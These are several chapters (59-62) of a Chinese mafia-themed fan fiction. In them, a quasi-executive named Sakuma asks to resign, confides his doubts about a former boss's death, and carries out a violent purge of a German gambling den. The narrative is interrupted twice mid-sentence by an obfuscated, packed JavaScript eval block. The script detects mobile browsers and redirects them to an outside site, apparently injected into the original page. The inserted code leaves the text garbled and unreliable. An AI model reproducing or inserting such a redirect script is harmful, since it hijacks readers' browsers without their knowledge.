这就是为什么,本部目前唯一的干部得到他们的首领回来的确切消息,所以来到这一层,却在走廊听到他们刚迈出电梯的首领怒吼一句“门都没有”。 他们的首领举手投足间完全是过去雷厉风行的味道,毫无差别,冲进自己办公室的速度甚至比过去更胜一筹。 钢琴家在心里庆幸事情得以顺利解决的同时,更加好奇佐久间究竟说了什么,才会让正式返回组织的首领有那种反应。 被中也关在办公室外面的青年沉默着,神情惆怅,眼里写着忧虑。幸好这一幕没有其他人看到。虽然中也的声音恐怕传遍了这一层。经历这段时间的事,中也还能有这样鲜明的脾气,倒也不坏。 佐久间弥津扭头望向传来脚步声的地方。说起来,他一直没能和组织里目前唯二的干部之一,好好谈谈“旗会”的事。 他逐渐习惯像别人一样对其以代号相称。年纪比他大的青年加入组织的时年比他和水落都早,衣服似乎只有黑白两色,现在身上也只穿着这两种颜色。原本带首领回来的任务,归和首领私底下是好友的信天翁,但后来移交到了他手上。 此刻看向他的眼神里有好奇,也有藏不住的笑意。 “你做了什么。” “我……我问中也先生,他能不能收回成命。” 他的态度没有变。 没有准干部的身份,他也会为中也先生奉上忠心。 “想让他收回成命的话,你要像那天一样有充分的理由。你明天要出差吧。” 他略一迟疑,随后点头,“是的。” “那就等你出差回来再对他说一遍吧。” 钢琴家这么对他说,他不知其中奥秘。但他从外地回来的第二天,确实如钢琴家所言那么做了。 彼时中也先生正在听别人汇报其他事,他自然不该那时候急匆匆去打扰。 他在走廊上遇到了建议他这么干的钢琴家,而他身边则是建议他不这么干的优。 “想法还是没变吗。” 他点头。 “回到组织之后,每一件任务都做得堪称完美,对你有意见的成员越来越少。你现在还能听到不同的声音吗。” 别人的看法不重要,他并非因为听到那些不同的声音而无法承担压力。 仅仅是因为,“缺席了四年的我,没有资格站在这个位置。” 过去曾经是中也先生的部下,就能得到不低的地位,这和只想要成就,自己却不愿意努力的人没有区别。 * 一起看雪的人换了一个。 金发碧眼的青年瞧了一眼跟在佐久间弥津身边的人,随后对佐久间弥津说,“现在有时间吗?你知道我要和你聊什么。” 那我……回避一下? 镜优带敬语称呼的是公关官的真名。 作为以世界为目标的电影演员,真实的情绪经常性的用外在的神态掩盖。但他也听说,佐久间身边副手的异能力和情绪这方面有关。在这样的人面前很难伪装什么。 “嗯。把你的上司借我半天。” 59.没杀心的准干部 “听说你在那个地方开着一家书店。你走了,书店怎么办。” 黑胶唱片机播放着轻快悦耳的纯音乐,进店都二人在木桌两侧相对而坐。 这也是一间书店,但有提供咖啡和简餐的服务。 米白色的墙,棕色的木质书架,铺着菱形纹样的地板。下午三点,店里没什么人。尤其今天还是工作日,有闲情逸致在书店翻纸质书的人就更少了。 室内很暖和,落在头上和肩膀上的雪很快便化了。水珠太小,没有实感。室外还在下雪,天空好似变成被人不断抖落棉絮的破枕头。不过,愿意在飘雪中行走的人总是要比在雨里成为落汤鸡的人多的。 佐久间弥津打量着店面装潢。 “这里,也是组织的产业?” “不是。” 这里会被情报部门的人员当成休息区,实际上只是因为不常亲自看店的店主知道他们的来历,并且不介意黑手党组织的成员经常来她店里呆着聊天。 “要喝咖啡吗。” 今天没有其他事要忙的人摇了摇头,“不用了。” 他的书店,他拜托了认识的人把书店搬空。 “你在那里也经常遇到麻烦的家伙吗。” 为什么这么说。 信天翁说,“你曾经对他开过两枪。”是条件反射? “抱歉……那天我没想起他是谁。” “没关系,他一点都不介意。”公关官替友人表示,佐久间不用在意。“擅自闯入别人的家,被拿枪抵着也很正常。”事实上,他和信天翁都“擅自闯入”过佐久间的家。若不是那次上门时佐久间恰好生病了,他们探讨的东西本该更多。 佐久间弥津以为公关官要和他聊他请求撤职的事。 “的确如此。钢琴家拜托我,务必让你以后不要再因这种事烦我们的首领。”但开门见山的谈话,不适合这里的氛围。“难道你更喜欢那种。前段时间出差,你去了什么地方?” 其实一直在国内。 他去往各地出差工作的内容大差不差。以准干部的名义行事,向过去曾经有所接触的其他组织展示港口黑手党如今的立场,再顺手处理些不值一提的人。 让人头疼的是那些横滨境外的人经常怀疑他的身份,而且一度以他的年龄作为没能力和经验的证据。 明明他和中也先生以及前首领同岁。 “这么看来,你过段时间还要回欧洲部门?” 看起来,是的。 信天翁的话没问题。特殊时期的港口黑手党缺少的正是高机动性的武斗派成员。不管他是不是被召回的成员,他充当的永远是这样的角色。以往,这样的角色主要由中也先生自己担任,而他,不过是接手了中也先生以前的工作。 从这方面看,和以前似乎没区别。 坐在佐久间弥津对面的青年认真倾听着,然后一脸好笑地问,“既然你知道和以前没区别,为什么一定要中也撤回任命。” “……我个人认为,我当年的行为和叛逃无异,愧对这份信任。即使中也先生不计较我当年的选择,我也很难心平气和地接受自己在缺席四年的情况下担任准干部。” 玫红色的眼瞳直视着他,平静地说出这句足够判处其死刑的话。 “打消你这样的念头,可是‘干部’交给我的任务。你们合起伙来给我出难题吗。” 为什么要这么执拗呢。 “直说比较省时间。中也不会收回任命,以后,你别这么干了。但如果有东西能让你以后再也不拿这样的事去烦他,我会为了完成‘任务’替你拿到的。”不过他会问某人要求增加额外的报酬。 竟然回答说“有”吗?“是什么?”他问。 被他追问的人反而陷入沉默,似乎答案让其感到为难。 保持近乎了半分钟的沉默,佐久间才回答他,声音极轻,几乎被店里的音乐盖过。 “我想知道……森先生的死,有没有内情。” 或者说,森先生,真的死了吗。 * 吧台后面那名看起来无所事事的店员,其实是港口黑手党的成员。只不过他的心思更多的在过好自己的生活上,而不是想着整日和犯罪为伍——能过平静的日子,当然还是过平静的日子最好啦。 进店的两人气质独特,其中一人他也是认识的。 那副容貌是无论男女都会恍惚片刻的俊美。不仅是组织里的高层,还是相当有名的电影演员,普通人也能记得那副长相。两种身份是一个人的正反面,既危险又奇妙。 另一位青年生着银发红眸,气质冷淡,长相没有太多攻击性,但面无表情,似乎有点不好接近,随身带着一把伞面纯黑的长柄伞。他对这个青年的长相没印象,但按描述来看,应该是其他人最近叨念着的新任准干部,是个无论有没有下雨都会带伞的怪人。 在书店呆了差不多半小时,二人交流的氛围还算和谐。 传闻中,这位准干部是首领过去在欧洲部门的下属。他不了解真相。以他的身份,不会去欧洲部门工作,别人讨论的对象,他也没想接触。 准干部先生不管什么时候都是那副冷淡的样子,倾听的时候是,说话的时候更是。店里放纯音乐是日常,二人坐在斜前方的位置,和他的距离不算近,如果故意放低声音,他就听不清他们具体在聊什么。 组织里很多成员下班以后,不想那么早回家,就会去熟悉的地方随便坐坐。就算是和好友聊聊天,吐槽吐槽工作,也是很快乐的事。 这两位的关系有那么好吗? 他在心里问出这个问题,低头去看自己这个月的水电账单。 可再一抬头,那两人之间的气氛突然就变了。 变故发生在电光火石之间。 金发青年不知从哪里拔出一只手枪,近距离对准了准干部的额头。 而被枪对准的准干部依然冷静地双手制住对面青年持枪的手,向自己的右上方一推。 听到枪声的瞬间,他的心脏都停跳了,可直面枪击的准干部竟然面色冷淡地夺过金发青年手里的枪,并且熟练快速地卸掉弹匣。 射出的子弹带着流星拖尾般的银光,在射中天花板上的灯带之前就被银光包裹着坠向地面,被某种力量扭曲破碎的弹头落在地上,发出清脆的叮当声。 准干部把弹匣装进自己的口袋里,把失去弹匣的手枪物归原主。 ……这算什么,他目击了高层之间的矛盾吗? * 中也手里最优秀的武斗派成员之一,果然名不虚传。 公关官揉着自己隐隐作痛的手腕,没有斥责对方的意思。他的异能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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既然有在听,为什么要道歉。 “……我有在听。” 信天翁说对了,欧洲部门的人果然很怪。公关官在心里对自己连连摇头,劝自己忍一忍佐久间的性格。他回头要和“某位”对佐久间现在持撒手不管态度的干部谈自己的精神损失费——和信天翁去年索要的东西一样。 佐久间弥津不知道同行的人要带他去哪。但不耽误他继续做自己的事。 有人“看”雪,喜欢站在雪里看,把自己融入飘洒的雪花中,快乐和满足在摔进积雪的那一刻达到了顶峰。也有人喜欢静静地站在一边让自己置身事外,站在窗边看漫天大雪如何遮蔽一方小窗,把雪留给雪,把温度留给自己。 他没那么多讲究,只是在去年年末和今年年初,不得已留在英国度过了一个几乎只有雨天的冬季,再看到纷纷扬扬的雪,心中不免感慨。 公关官的脚步停下了,停在一家商店前。 他抬头看了一眼店名。 旧世界…… 一家台球厅? 这里为什么是很安全的地方。 身边的人却没有回答他,直接推门而入,似乎是这里的常客了。 60.要出差很久的准干部 旧世界台球厅现在没有其他客人。作为熟客的公关官习以为常地打开柜门拿球杆。 他的手在空中僵了半天。 最终,“来都来了,为什么不开一局”的想法打败了“现在是打台球的时候吗”的诘问。他是不是被佐久间传染了做怪事的病?把另一根球杆递向站在球桌旁的人,他问,“会吗。” 看那副眼神……应该是不会吧。 算了,这不是主要目的。 他为佐久间找好了谈话的地点,想说什么都可以。 “那位大人‘死去’四年之久了。你怎么还在思念故人?你存在这样的心思,其实和那天的中也没有半点区别。” 而佐久间盯着桌上被打散的台球,视线跟着咕噜噜滚动的红球停在一边,许久没说话。 “怎么,不想解释了吗?” “……这件事,我没有对任何人说过。” 佐久间突然开口。 他盯着那双眼睛,“原来你是想拉我当你的‘共犯’。如果不是武斗派成员,你去当个算计别人的操盘手也不错。” “也不全是。” 不全是的意思,就是多少有那意思咯。 他有些好笑地看着佐久间的眼神变化,不会这么简单就被他绕进去了吧。 行了。想说什么赶紧说。等别人来了,你就没机会了。难道你还想让我带你去别的地方?没有哪里比这里更安全。 也没问他话里的别人是谁。佐久间对他讲起两个月前的那次行动。 他们彼此都知道那次行动的真实目的不是消灭武装侦探社。 他们所有人,包括欧洲部门的那位干部成员和他眼前的准干部成员,都是更喜欢把心思放在自己的组织上的人,对站在白昼里指责他们的家伙没耐心,也没兴趣。还有异能特务科在一旁碍事,首领更不想关心那帮家伙。 一个人打台球没有想象中无聊,尤其是身边有个像旁白一样在讲故事的人。 他不打扰佐久间的思路,让其顺着自己的想法讲述那段见闻。 他听得出其中最重要的是那一通电话。 ……被前首领解雇的家伙,不惜暴露在枪手的视野里,也要让佐久间接电话,还声称是找他的。 “我没接。你在同一时间给我打来了电话。” 他说,“你不接是对的。” 在诸多成员的目击下,自带空降传闻的准干部接受立场不明的中岛敦的“示好”,不该有的传闻又会多起来了。 可那通来历不明的电话是何人打来的。 “你有想法吗。” “是个认识我,又认识中岛敦的人。知道我在现场,还知道我现在的身份。” 清掉最后一颗球,母球缓缓停在边沿。他收起球杆,平放在球桌上,扭头直视那双玫红色的眼睛。 其实他在想别的。 “这件事,你一点细节都没有对别人提?” “没有。” 就算是守在附近的优,也只能看到中岛敦曾把手机递向他,而他没有接。 “我离开组织四年。四年里加入又离开的成员不认识我。往前推的三年里,我始终在欧洲部门。在本部待的时间,只有去欧洲部门前的一个多月,和森先生离世后的两个月。我猜测,是和森先生以及尾崎红叶干部同属于一个权力世代的人。可唯有熟悉我能力和攻击方式的人,才会从地区性电力瘫痪的情况,联想到我在场。” 他很少这么做。不是提前调查的大规模行动,他不会把主意打到破坏电路上。一旦失手,己方也会受影响。 “有可能是异能特务科的人吗。他们盯你也会盯得紧。以前你在国外,他们动不了你,现在你就在他们眼皮底下。” 公关官意在叮嘱又对着嗓子喷药的人平时可以谨慎点。 但佐久间提到的名字早就成为组织的历史了。 当事人则认为,可能性不大。“在他们摸不准我到底会不会对那里动手前,没必要通过中岛敦联系我。” 他拒接了电话。假如那真的是非常重要的通话,中岛敦会想方设法再次联系他。 然而,到目前为止,他的生活和工作里没有发生一点意外。那名被解雇的前成员,也再未出现在他眼前。 但他认为这个特别的细节不能被忽视。或许要过段时间,甚至过几年,其背后的含义才会慢慢浮现。他还没想好和什么人讲这件事。今天意外有和面前的人单独交流的机会,他突发奇想,顺势选择对方作为“共犯”。 公关官是非常合适的人选。 合适在,“佐久间弥津”的结局绝对是死亡,但很少作为敌方目标的人必然能成为存活的见证者。 若是今后哪次灾难的发生让人摸不着头脑,“请务必想起它。” “……原来如此。” 公关官此刻终于想通一个在他心中萦绕已久的问题。 佐久间的为人没有问题,对他们的首领甚至比四年前更忠心,对能力的掌控也精准地令人心惊,头脑精明,冷静果断——他仍未从佐久间身上感受到被中也吐槽过的没来由的“心软”在哪里。 这些都算此人的优点。 但从佐久间的话语中察觉到的东西才是他要的答案。 在佐久间不解的眼神中,他绕过球桌,站在青年面前,揭露了那个不曾公之于众的答案。 “你当年辞职的真实原因,是你心里没办法承认前首领的地位,并且怀疑他和森先生的死有关。” 治病只是个半真半假的幌子。 做出这种在你心里和“叛逃”只有一纸之隔的行为之后,却能以准干部的身份回到这里。你没办法接受这样的结局。 “可是,这种事,现在还有谁在意?” 我们的首领那么聪明,你以为他什么都不知道吗。 让你困扰的人都不在了,还犹豫什么呢。 佐久间弥津沉默之时,店门即将被另外的客人打开。 他怀里被推进一根球杆。 站在他面前的人低声说,“今天的事,我会保密。” 但你下次再因为工作的事去烦我们的首领,有人可是要把你按进地牢了。 二人的独处时间就此结束。 这间台球厅见证了许多有意思的故事。 留心观察,就会发现墙面和天花板上留下了时间都无法磨灭的痕迹。离他们互扔香槟酒瓶、打台球比赛到凌晨的日子,也才过了几年而已。这段时间,特别是入冬以来,他们依然很忙。理由嘛……自然是组织里的事比较多。等忙过这段时间,他们才能“准时下班”之后聚在这里。 佐久间弥津对旗会的事了解得太少,不懂这间台球厅对这些人来说意味着什么。 没听到他们方才的谈话,来人只以为他是被拖来打台球的。 闻到一股若有若无的药味时,外科医生凑近在场唯一可能有用药的人。 “你用的是什么药?” 避不开问题的人诚实地把衣兜里的药瓶拿出来。 本职是医生的青年晃了晃药瓶,没说什么,很快还给了他。 他不是打台球的料。他那日 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有人早就忘记了他,也有人记得他,却不正眼看他,拿“听说你早就因为叛逃被杀了”的传言嘲笑他并且随口开难以入耳玩笑的人也比比皆是。 ……站在他们面前的人若是四年来不曾缺席的水落,说不定他们还会退缩几分。 可惜来的人恰恰是他。 时间果然厉害,把他的名字在这些人心里洗了个干净,连他随身带伞的行为都被恶意解读为“胆小”和“强迫症”。 每一个和他一样从事这个行业的人,都应该在踏入这条浑浊河流的那天就接受自己的命运,不要埋怨神明的不公,也不要哀叹自己的凄惨。 杀心不是一瞬间诞生的,只会在一瞬间暴涨。 站在他身侧的是欧洲部门的翻译人员,他不认识。给他配翻译人员有点形式大于内容的意思,但这是水落决定的,他不会说什么。 “你叫什么名字。” 翻译人员的话一停下,整间会议室便寂静到连呼吸声都听得一清二楚。 被他打断翻译进度的人愣了一下,回答他,“风间,风间理。” “好。风间,今天的工作就到此为止了。” 让风间翻译让人难堪的话,实在是太为难人了。现在的他,也要考虑到下级的面子才行。 他率先从椅子上起身,没把眼神分给那些逐渐失去呼吸的跳梁小丑。 片刻前喧哗吵闹的家伙,现在和死人一样安静了。 风间理心中疑惑重重,但准干部都发话了,就算觉得奇怪,他的脚步也不由得跟了上去。为什么其他成员没他这么困惑?虽然对方没有阻拦他们离开,但如此结束洽谈,不是很合适吧…… 听到何物倒地的声音,风间理忍不住回头看了一眼。 他已经立马转回头来了,可看到的东西仍然让他脸色一白。 他是文职人员,但他不是瞎子。 方才态度趾高气扬,对这位上级出言不逊的家伙应该已经死了。 保持坐在椅子上的姿势死了。其他人没好到哪去。即使没死,能直挺挺地倒在地上没有任何反应,看样子也糟糕透了。 走在他前方的佐久间先生说,“之后不用翻译了,你先回去。” “……好的。” 他不熟悉的准干部成员突然拿出手枪,对准他们一行人左前方紧闭的房门扣下扳机。 从门下缓缓流出的鲜血让他脚步一顿。 ……是怎么知道门后有人的? “需要别人护送你吗。”准干部又问。 “啊……不,不用了。” 61.斩草除根的准干部 沿着狭窄楼梯向下,墙壁坚硬寒冷又画满肮脏涂鸦,第一次来的人心头无不感到压抑和无处安放的恐慌。 层高和普通楼房不同,足有四五米高的天花板上安着一盏昏黄的灯。 来人收起伞,顺着伞尖流下的液体滴在不干净的台阶上,像随手书写下没有尽头的省略号。 向下的台阶通向一扇破旧的小门。来人回头望了一眼对他点头的意大利青年,抬起伞,用伞尖推开了门。 门后是一间不到十平米的小房间。小房间没有窗户,但有明亮的白炽灯照亮这片区域。整体比方才的楼梯干净,纯白的地砖连前人的脚印也没留下。但层高也矮,比普通居民楼矮半米。 坐在左手边圆桌旁高脚凳上的男人见有人进来,离开用铁丝绞紧节点的凳子。用过许多年的凳子发出了嘎吱声。小房间里也有一扇门,没有完全关紧,门后是会喧闹一整夜的地下赌场。嘈杂的声音从门缝里传出来,其间夹杂着几道古怪的嚎叫。 那扇门被气流吹开,立马有守在门后的人把小门重新关好,不让隐秘的场面提前泄漏。 洛恩佐递出两枚装在零钱袋里的硬币,接过硬币略一检查,小房间里的男人就兴致缺缺地把硬币还回来,用带有严重口音的德语对守在门后的人叫喊道,“二楼。” 男人继续带着那种呆滞的无趣神情坐回凳子上,没有关心这对客人的去处。当二人走后,有戴着面罩的人来打扫二人的脚印,他突然发现滴落在地上的液体在瓷白的地砖上呈现出刺眼的红。 ……他对与和亚洲面孔的人打交道有点厌烦,刚才根本没看地上有什么东西。 门后有人接应,接引那两位客人去二楼。 二楼是与赌场息息相关的地下拳击场,也不在“二楼”,只是为了与普通的赌场作区分。 赌场的人什么都赌。金钱,性命,军火,宝石,拳击场上对决的结果也在这群人的赌注之中。 亚洲人的面孔很少出现在这里,但不算罕见,毕竟赌场的老板到处都有人脉。没有“硬币”作为通行证,进不去店里,再有钱也不行。 接引的侍者低声问,需要包厢和其他服务吗。 在不见天日的地下弯弯绕绕走了几分钟,像是生怕客人记住离开的路。走过一段和进门时的环境相仿的昏暗走廊,被癫狂赌徒填满的地下赌场逐渐离他们远去,耳边恢复清静,面前豁然开朗。 静谧的环境仿佛误入了医院住院部走廊,而不是几分钟前还乱糟糟的地下赌场。 包厢正前方的墙壁上挂着一台两米多宽,一米多高的显示屏,专程设计过的界面让佐久间弥津更加觉得,这里的老板是有追求的。 屏幕上是无延迟的拳击比赛直播,屏幕两边有可选的功能按钮。 洛恩佐评价说,有点像公司内部网站界面。 这么说的话还真有点神似。 “要押谁呢。” 洛恩佐·里奇询问他今日的上司。想先观察情况,可以随便玩玩。 说实话,虽然他早就知道佐久间先生会回到他们眼前,没想到是以这种方式。 他今日充当的是翻译的工作。 返回欧洲以来的任务,总会让不了解其为人的成员认为,佐久间先生是比水落先生还暴躁的人。事实上,佐久间先生既不是冷漠无情的杀手,也不是武断暴躁的杀人魔。 面无表情地清洗敌方组织的本部,这种事确实让听者感到不寒而栗。但这样不好吗。佐久间先生没有怪癖,永远对敌人一视同仁。没有灭绝人性的虐杀行径,也没有对敌人进行过精神上的折磨,安静地死去,是他们这行最普通也最幸运的结局。 他们在欧洲部门呆得久,听到新人和半新不新的成员议论“准干部”脾气差,总想要与之辩论——在以前,有水落先生作对照组,佐久间先生的脾气简直好得要命。 若非受四年前辞职影响,以这样的任务强度,佐久间先生在组织里的声望绝对不会比水落先生低。 仅靠耳朵听闻佐久间先生近来的作为,会觉得其难相处也是正常的。但凡对方稍微显露几分对组织的微妙态度,佐久间先生就会二话不说剥夺对方的平等地位,更不用提被清洗干净的组织,必然是说了佐久间先生无法忍受的话。 这么做,效果拔群。 之后和佐久间先生坐在谈判桌上的人,明显安分多了。 他们的准干部不关心自己被别人议论。既然不会引起内部分裂,何必在意,反倒能让组织里的新人从准干部成员逆推干部成员的实力。 信任高层的实力,的确是让成员信任高层决定的第一步。 沙发上铺着当着他们的面新拆的崭新绒毯。墙壁也是纯白,和屏幕的黑色边缘对比强烈,这么一看,装修风格倒有点像高科技公司的会议室。 佐久间先生不想浪费时间在别人身上,示意他换其他场。一直换到场上出现他们今日的拳手,才命令他停下。 “押目标。” 押多少? “押满。” “他是新入行的拳手,没几个人押他。” “押满。” 糟糕。洛恩佐心想。 但幸好。 假如佐久间先生真像传闻中一样冷酷无情,早就在他出声劝阻时给他点教训了。佐久间先生的性格没有怎么变呢。 是他松懈了,没有意识到他同佐久先生如今的身份问题。稍稍反省之后,他按准干部的命令,在屏幕上输进满额的筹码。 现场有广播播报双方信息,包括各自被身上拥有多少“筹码”。听到那差距过大的数目,被认为是“新入行”的年轻拳手仰起脑袋,摄像头记下了男人脸上那抹张扬肆意的笑。 下一场,准干部的命令依旧是“押满”。 年轻拳手的战斗一共进行了五场,每一场都选择押满。 场内有规定,为免拳手和客人私下做局,经理察觉不对,有权撤下该名拳手。 所以,被他们压满的拳手今日的最高纪录是连胜五场。 在第五场开始前,如愿听到高额筹码的年轻男子站到标准拳击台的围栏边,抓着有弹性的围绳,抬起左手,不符规矩地指着摄像头的位置,喊了一句话。 听懂的洛恩佐·里奇愣了一下。 没听懂的人还需要洛恩佐翻译。德语不在佐久间弥津的语言系统里。 “他说的是,‘你想见我’。” 这里的老板的确有意思。 做风不像老一辈,反而有年轻一代的自由感。拳手有自由,客人也有自由。一掷千金的客人有权力邀请自己押注过的拳手当面一见,相对应的,拳手可以选择见或不见。 双向的选择,全凭各自意愿。来硬的也不行,经营赌场的老板据说在当地颇有势力,当地组织惹不起,更何况是外人。 * 换掉身上气味混杂的衣服,把自己收拾得更像大学生而不是地下拳击场的拳手,法涅安·霍克利无需任何人的指引,只要得到包厢的定位号,就能独自去见那名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757290|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初次见面就连续押满好几场的“客人”。 他握着门把手,正准备推门而入,却发现房门反锁了。 一瞬间的恼怒后,他老老实实敲门。 门打开,他又发觉开门的青年很有可能已经给衣服口袋里的枪上了膛。 怎么回事,花那么多钱在他身上,难道不是为了见他?他断定,这个胆子很小的这个男人一定不是他要找的人。 他重新打量包厢,果然发现还有位银发青年坐在沙发上,眼神盯着屏幕上的另一场对决,专注认真。 很年轻,外表看着简直和他差不多岁数。也可能是亚洲人外表显年轻? 他刚要迈步上前,同这个被他暗自评价为“眼光不错”的人聊一聊,却被方才给他开门的青年伸手拦住,禁止他靠近那个亚洲男人。 “你们什么意思?” 究竟是要见他,还是不见他? “会说英语吗。” ……搞半天他们语言不通?好在他本身是英国人。 语言的问题解决了,搭理他的还是眼前这名拦住他的青年,“法涅安·霍克利?” 是他。怎么,还怕找错人? 屏幕上的那一场对决很快分出胜负。不知对这样的结局满意与否,坐在沙发上的青年站起身,似乎准备离开了。 青年转过身来,他才看清那双虽然漂亮但也极其冷淡的眼睛。 色彩鲜活,但不似鲜血刺眼,而像盛开的大朵玫瑰般娇艳。 玫红色的眼睛盯着他,没有感情的视线洞穿了他不堪一击的灵魂。 刚离开拳击台还没停止沸腾的热血就这么冷却下来。他觉得自己突然变得萎靡不振了,这个青年全责。 这些人什么来头?他回头得和卡斯聊聊。每天都往店里放古怪的家伙,店还开不开了? “你的父亲,和他的组织,已经被‘撕碎’了。” 他听着青年奇怪的嗓音,愣住了。比起关心青年话里的“父亲”和“组织”,他现在对青年的声音更好奇。 “你的声带出问题了吗?” 声音破碎嘶哑,但他能听清楚对方在说什么,因为青年的英语口语相当标准。 大概是因为他问了不该问的事,青年不再说话,握着手杖,视线从他身上移开。 他不问了!他不问了…… 他的“父亲”和“组织”被撕碎了的意思是,“他们死掉了?” “是这样。”回答他的是拦路的男人。 “死就死了……和我没关系。” 他和那些家伙的关系差得要命,还有人不知道他明明是英国人却在德国长大的原因吗——哦,你们这些外地人的确不知道。 他不会去参加葬礼的。终于从那帮家伙的监视下逃走,现在又想要他回去?他们死了也活该。 如果你们是因为这种事才…… “是我做的。”生着玫红色眼瞳的青年重又望着他,“你的想法是什么。” 青年的语气十分寡淡。 ……这两个家伙,不会是来斩草除根的吧?他在心里嘀咕。 他能有什么想法?他都离开“家”一个人自力更生多久了,还要把他和那些家伙绑一起吗?他在心里考虑要如何从包厢逃走或者立马解释自己和养父关系很差,最差的方法是去找卡斯求救。 拦路的青年“好心”给了他两个选择。 “原本你是注定要上追杀名单的。带着不满死在这里,或者忘记你的身世活着走出去。” 62.连吃带拿的准干部 凡是对其出言不逊的人或组织,都会遭到残酷的武力清洗。 他们是同类,既不能报警寻求政府帮助,也不会上街进行示威游行,一切都在暗地里进行。况且是对方有错在先,驳了准干部的颜面,代表港口黑手党出面的人不该放过他们。 佐久间弥津近三个月来都各国兜圈子,干相同的事。 他的能力在现代社会如鱼得水。虽然这个过程让他的精神难忍疲惫,但也让他明白了自己如今工作内容的意义。 直到他的存在能够像曾经的中也先生一样,在那些人心目中与港口黑手党划上等号,他的超远距离出差才会停止。 组织的干部成员,当然,还有他这样被冠以“准干部”名义的成员,与过往最大的不同是,无论是否心甘情愿,他们必须站到明面上。 在某些极端时刻,他们要以个人代表组织,击溃外在的威胁。 法涅安·霍克利,二十三岁。这个数字的真实性存疑,因为他只是老霍克利收养的小孩。无异能,体术不错。 卡斯·舒伦,赌场和拳击场幕后的老板,年龄二十五岁,德国人,明面上是生意人。 小霍克利是个运气不错的家伙。 他们没想给法涅安安然离开的机会。但在准备动手时,法涅安突然回头,灰蓝色的眼睛望着他们,似乎想问什么。 与此同时,门被敲响。低着头的侍者说,老板邀请他们见一面。 最后的大鱼终于上钩了。 赌场开了很多年了,以二十五岁的年纪来看,现在的卡斯·舒伦当然不是第一任的主人。 这些地下产业是他从自己的父母手中接过的“遗产”,自己则是一家科技公司的老板。 老板邀请见面的是他们。 “你为什么要跟着。” 即使如此,对养父的死表示幸灾乐祸的青年没有停下脚步,“我想知道卡斯找你们做什么。”他们是朋友,关心一下朋友遇到的事,很正常。 法涅安没看到青年眼里有拒绝的意思,便理所当然地跟了上去。 侍者引他们走进一间有正经窗户的会客室。 窗外的夜色恬静美好,月光无声流淌,好似静寂的安眠地,让人对自己接下来的厄运没有丝毫预料。 年轻一代接手老旧产业,是必定会在室内装修上下功夫的,赌场和拳击场以外的地方,处处都有现代科技的痕迹。 侍者让客人在此稍作等待。 法涅安对建筑的构造很熟,这几个月里他常来。他坐了一把椅子,好奇地盯着桌子另一端,同行的二人用他听不懂的语言交流。 他问,你为什么要杀死他们呢?他们对你做了什么。 他对那些家伙是没有怜悯之心的。早在他解开自己的身世之谜后,就抱着早日从“养父”手里逃脱的想法,日复一日地为之努力。 去年年底,他和老家伙彻底撕破了脸。 有卡斯帮忙,他很容易就甩掉了老家伙派来的追兵。来卡斯的地盘当拳击手,也是单纯出于兴趣。 亚洲面孔的青年分给他一点视线,可依旧惜字如金。 他不觉尴尬,想掏出手机看时间,手机却因电量不足而关机了。祸不单行,他想开门找侍者借根充电线,左顾右盼一阵,他冲无人的走廊里呼喊起来,始终没人答应。 和他同在一间屋子里的人皱起了眉头。 “可以安静些吗。” “抱歉,我只是想看时间……” 另一名欧洲人长相的男人亮出满电的手机屏幕。 深夜十一点四十。明明平时这个点他也还没休息,今日他却有些没来由的烦躁。 还要等吗,卡斯没来,干脆我们都离开好了,明天再见。 他说出这样的提议,青年脸上居然露出一抹轻如鹅毛的微笑。 他说的话有那么好笑吗? 百无聊赖地把没电黑屏的手机抛起来,再落下,然后再抛得更高,直到打中灯泡,发出噔的一声。 什么都没发生,来意不明的客人对他的行为不做评价,他却从那名随行人员的脸上看出几分好笑。 倒下是瞬间的事。 昏死过去的人不再发出扰人清静的噪音。 耐心耗尽的准干部也离开椅子,整了整衣领,开始了今日的工作。 * 从安装在隐蔽之处的摄像头里看到那名亚洲青年的正脸,赌场的主人就没办法再沉住气呆在幕后。 他进退两难。 是把还没完全榨干价值的小霍克利推出去当牺牲品,还是自己出面谈条件。 他攥紧拳头,手心满是汗。 该死的,他当然记得自己做了什么……但他没想到现在会事发。 人在紧张的时候是会昏头的。 对方只有两人,且仅有一人带了枪,体格并非多健壮的类型,只是成年男人的普通体型。卡斯·舒伦决定派人将那两个黑手党组织的成员杀死在赌场。 充当中介工具的法涅安……在那个本该由他拿来当枪使的组织被来自异国的黑手党成员扬成灰之后,价值已经减半,在无计可施之时,可以抛掉。 但他忘记考虑胆敢搭档前来的黑手党人和他手下打手的能力差距。 何等不明智的抉择。 时近十二点,赌场和拳击场依旧人声鼎沸。 人们在为自己所得狂欢,或是为自己失去的钱财而愤怒。 赌场的气氛火热异常,赌徒的情绪也激动非凡,仿佛从满桌的筹码中看到了自己近在咫尺的富贵生活。 他们的高声叫喊一步步将场内的气氛推向今晚的高潮,然而也让别处的枪声湮灭于沸腾的人声中。 狂乱的欲望深渊中,没人能提前发现危险的降临。客人没有,眼巴巴地看着客人赢钱而满眼羡慕的侍从们也没有。 收到的攻击,要加倍奉还。 这是港口黑手党成员必须遵守的原则之一,从……那位首领开始,就是如此。 卡斯·舒伦数月前,曾命人袭击欧洲分部的成员。这是第一个罪名。 想借其他组织,干掉港口黑手党风头正盛的准干部,顺便给这个异国组织一个下马威。这是第二个罪名。 被袭击的成员生命无忧,但位于这个国家的分部要暂时关闭修整,商业设施也不得不对外宣布停业。 在如入无人之境的黑手党成员眼里,他们不需要区分无辜者和有罪之人。 凡是阻止他们从舒伦身上拿取代价的,通通都是敌人。 想杀死一位准干部和经验丰富的斥候,仅仅依靠体术和现代热武器是没用的。 